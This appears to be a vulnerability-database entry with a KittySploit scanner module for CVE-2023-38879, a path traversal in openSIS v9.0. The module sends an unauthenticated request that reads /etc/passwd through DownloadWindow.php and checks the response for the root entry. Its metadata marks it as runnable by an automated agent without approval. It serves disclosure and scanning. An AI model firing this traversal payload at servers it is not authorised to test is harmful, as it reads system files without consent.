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openSIS v9.0 - Path Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Unauthenticated remote attacker can read arbitrary files via 'filename' in DownloadWindow.php.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A path traversal vulnerability exists in openSIS Classic Community Edition v9."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'openSIS v9.0 - Path Traversal Detection',
        'description': "A path traversal vulnerability exists in openSIS Classic Community Edition v9.0 via the 'filename' parameter in DownloadWindow.php. An unauthenticated remote attacker can exploit this to read arbitrary files on the server by manipulating file paths.",
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2023', 'opensis', 'lfi', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38879',
            'https://nvd.nist.gov/vuln/detail/CVE-2023-38879',
        ],
        'cve': 'CVE-2023-38879',
    }

    def run(self):
        r = self.http_request(method="GET", path='/DownloadWindow.php?filename=../../../../../../../../etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_all = ('filename=', 'text/html',)
        body_regexes = ('root:.*:0:0:',)
        if (all(m in headers for m in header_all)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='high',
                reason="openSIS v9.0 - Path Traversal detected",
                path='/DownloadWindow.php?filename=../../../../../../../../etc/passwd',
            )
            return True
        return False

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28 Jul 2026 11:27Current
7.9High risk
Vulners AI Score7.9
CVSS 3.17.5
EPSS0.03633
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